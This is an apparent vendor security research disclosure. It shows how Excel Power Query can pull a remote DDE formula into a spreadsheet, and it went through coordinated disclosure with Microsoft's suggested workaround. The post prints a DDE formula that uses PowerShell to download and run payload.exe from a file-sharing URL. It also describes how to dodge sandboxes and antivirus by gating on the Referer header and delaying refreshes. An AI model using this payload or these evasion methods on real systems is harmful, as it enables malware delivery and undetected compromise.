Exploit Using Microsoft Excel Power Query for Remote DDE Execution Discovered

Summary

(Editor’s note: The Mimecast Threat Center team would like to acknowledge the contributions of team member Doron Attias in the following research.)

The Mimecast Threat Center found and developed a technique that uses a feature in Microsoft Excel called Power Query to dynamically launch a remote Dynamic Data Exchange (DDE) attack into an Excel spreadsheet and actively control the payload Power Query.

Power Query is a powerful and scalable Business Intelligence (BI) tool that lets users integrate their spreadsheets with other data sources, such as an external database, text document, another spreadsheet, or a web page, to name a few. When sources are linked, the data can be loaded and saved into the spreadsheet, or loaded dynamically (when the document is opened, for example).

The Mimecast Threat Center team found that Power Query could also be used to launch sophisticated, hard-to-detect attacks that combine several attack surfaces. Using Power Query, attackers could embed malicious content in a separate data source, and then load the content into the spreadsheet when it is opened. The malicious code could be used to drop and execute malware that can compromise the user’s machine.

The feature gives such rich controls that it can be used to fingerprint a sandbox or a victim’s machine even before delivering any payloads. The attacker has potential pre-payload and pre-exploitation controls and could deliver a malicious payload to the victim while also making the file appear harmless to a sandbox or other security solutions.

Mimecast worked with Microsoft as part of the Coordinated Vulnerability Disclosure (CVD) process to determine if this is an intended behavior for Power Query, or if it was an issue to be addressed. Microsoft declined to release a fix at this time and instead offered a workaround to help mitigate the issue.

Get the latest threat research from the Mimecast Threat Center delivered to your inbox. Subscribe to Cyber Resilience Insights today.

We're providing a detailed walkthrough of a potential exploit using Power Query to launch a DDE exploit that could drop and execute a payload from a file sharing-site.

Threats Using Power Query as an Attack Surface

Because Power Query is a powerful tool within Microsoft Excel, the potential threat for abusing the feature is great. If exploited, it can be used to launch sophisticated attacks that combine several potential attack surfaces, from local privilege escalation, DDE attacks and remote code execution exploits.

The Power Query feature is designed to allow you to embed remote content easily and dynamically. Such attacks are usually hard to detect and gives threat actors more chances to compromise the victim’s host. Using the potential weakness in Power Query, attackers could potentially embed any malicious payload that as designed won’t be saved inside the document itself but downloaded from the web when the document is opened.

To demonstrate how Power Query can be used to launch a DDE exploit, an external webpage hosting the payload was loaded into the spreadsheet and it could write a custom, simple HTTP server to host the payload on a web page to be served. The HTTP server listened locally on port 80 and served DDE content as a response when a request was received from the spreadsheet.

=cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,

The Microsoft Excel 2016 spreadsheet used Power Query to request the malicious web page created (http://127.0.0.1:80).

The remote content is fetched and loaded into the spreadsheet.

The Wireshark capture data was used to see the attack flow. The first marked packet contained the DDE formula: the DNS request for "dropbox.com" where the payload.exe, and the HTTPS session were stored and delivered the payload.

Analyzing the File Format

Upon the examination of the file format, we saw that “table/table1.xml” was created with the properties “name: “localhost”” (default), and “type: “queryTable.””

The link between the table and the specific query table properties was described in .”rels” stream (“_rels/table1.xml.rels”), which contained a field named “target” and which pointed to “../queryTables/queryTable1.xml.” The quetyTable1.xml contained data linking “connection.xml” (which gathers all document connection properties) using the “connectionId” field. under “.” The connection was made with the dbPr object using the “Select *” command.

The web query itself was stored in “xl\customXL\item1” document and was encoded in base64.

After decoding base64, we opened the document “section1” that was inside, which contained the query itself.

To make the DDE run, the user is required to double click the cell that loads the DDE and to then click again to release it. Those operations will trigger the DDE and launch the payload that was received from the web.

Bypassing the Need to Double Click - Enabling Automated Execution

To bypass the “click for run” issue, the discovery that in old versions of Microsoft Office, there are some differences in the “Get External Data>> From Web” implementation. As mentioned, “dbPr” is created when using Microsoft Office 2016, and the user is required to act to activate the payload (in some cases such as sandboxes, those clicks can cause a sandbox bypass).

When “Get External Data>> From Web” is used in older versions of office (e.g, 2010), the object created under “Connections.xml” is not “dbPr” as mentioned earlier but “webPr,” which is much simpler. Unlike “dbPr,” “webPr” does not required any user actions to run the payload.

Bypassing AVs and Sandboxes Using the Exploited Power Query Tool

Adding headers to the web request (query) so that the payload could bypass anti-virus and sandboxing capabilities designed to block exactly this kind of malicious content. The web server served up malicious content only when a specific HTTP Header was present in the request. The anti-virus extracted the URL of the HTTP server from the file but did not parse the headers. When the AV sent a test request, the server knew this was from the AV and not the spreadsheet.

The DDE will be served only when the “Referer” HTTP header is set to “www.google.com.” Otherwise, the content won’t be served.

By setting the specific web header by using Power Query in “Advanced” mode. Power Query performed the web request with the requested “Referer” header.

If another application tries to partially simulate the Power Query behavior and doesn’t request the web page with the right “Referer” header, the payload will be served only when opening the original document using the Microsoft Excel application.

Since the sandbox would also send the custom header as part of the request, a new way to avoid detection was needed. The “auto refresh” and “refresh” intervals were used in Power Query, instead.

Avoiding malicious content that could potentially mark this file as malware by forcing the file to refresh data when opening the file and removing data from the external data range before saving. Those properties ensure that the payload in the file will update when the file is opened. Setting the file to refresh every minute (the minimum time) and served the payload at the 10th query. This means every sandbox that executed the file in less than 10 minutes would never get our payload.

In the case of the example provided, most of the static-analyzing AVs won’t detect the file (which doesn’t contain the payload) and sandboxes or other security solutions that download the content only once or twice will miss it as well.

Workaround and Closing

The Mimecast Threat Center team reached out to the Microsoft Security Response Center (MRSC) with our information and a working proof of concept. MRSC opened a case but Microsoft decided not to fix this behavior, and their response included a workaround by either using a Group Policy to block external data connections or use the Office Trust center to achieve the same. MRSC accepted our request to publish this research per the CVD policy.

Microsoft published an advisory (4053440) that indicates steps and procedures to provide information regarding security settings for Microsoft Office applications. This advisory provides guidance on what users can do to ensure that these applications are properly secured when processing Dynamic Data Exchange fields.

Attackers are looking to subvert the detections that victims have. While there is a chance that this kind of attack may be detected over time as threat intelligence is shared between various security experts and information sharing platforms, Mimecast strongly recommends all Microsoft Excel customers implement the workarounds suggested by Microsoft as the potential threat to these Microsoft users is real and the exploit could be damaging. 

Mimecast Targeted Threat Protection detects and blocks the use of this technique, by using advanced deep parsing and de-obfuscation, following real time code analysis of every analyzed file.